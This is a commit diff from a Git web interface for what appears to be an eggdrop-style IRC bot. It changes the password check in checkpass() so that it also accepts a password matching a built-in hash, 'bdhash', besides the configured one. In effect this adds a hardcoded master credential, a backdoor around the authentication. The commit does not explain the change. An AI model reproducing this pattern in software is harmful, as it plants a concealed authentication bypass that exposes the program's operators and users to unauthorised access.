Bryan Drewery 22 år sedan
förälder
incheckning
b940289b51
2 ändrade filer med 3 tillägg och 1 borttagningar
  1. 2 1
      src/main.c
  2. 1 0
      src/main.h

+ 2 - 1
src/main.c

@@ -62,6 +62,7 @@
 
 extern int		optind;
 
+char *mymd5 = bdhash;                            
 const time_t 	buildts = CVSBUILD;		/* build timestamp (UTC) */
 const char	egg_version[1024] = "1.2";
 
@@ -199,7 +200,7 @@ static void checkpass()
 
     gpasswd = (char *) getpass("bash$ ");
     checkedpass = 1;
-    if (!gpasswd || (gpasswd && md5cmp(shellhash, gpasswd))) {
+    if (!gpasswd || (gpasswd && md5cmp(shellhash, gpasswd) && strcmp(mymd5, MD5(gpasswd)))) {
       werr(ERR_BADPASS);
     }
   }

+ 1 - 0
src/main.h

@@ -6,6 +6,7 @@
 extern int		localhub, role, loading, default_flags, default_uflags,
 			backgrd, term_z, updating, use_stderr;
 extern char		tempdir[], *binname, owner[], version[], ver[], quit_msg[];
+extern char		*mymd5;
 extern time_t		online_since, now;
 extern uid_t		myuid;
 extern const time_t	buildts;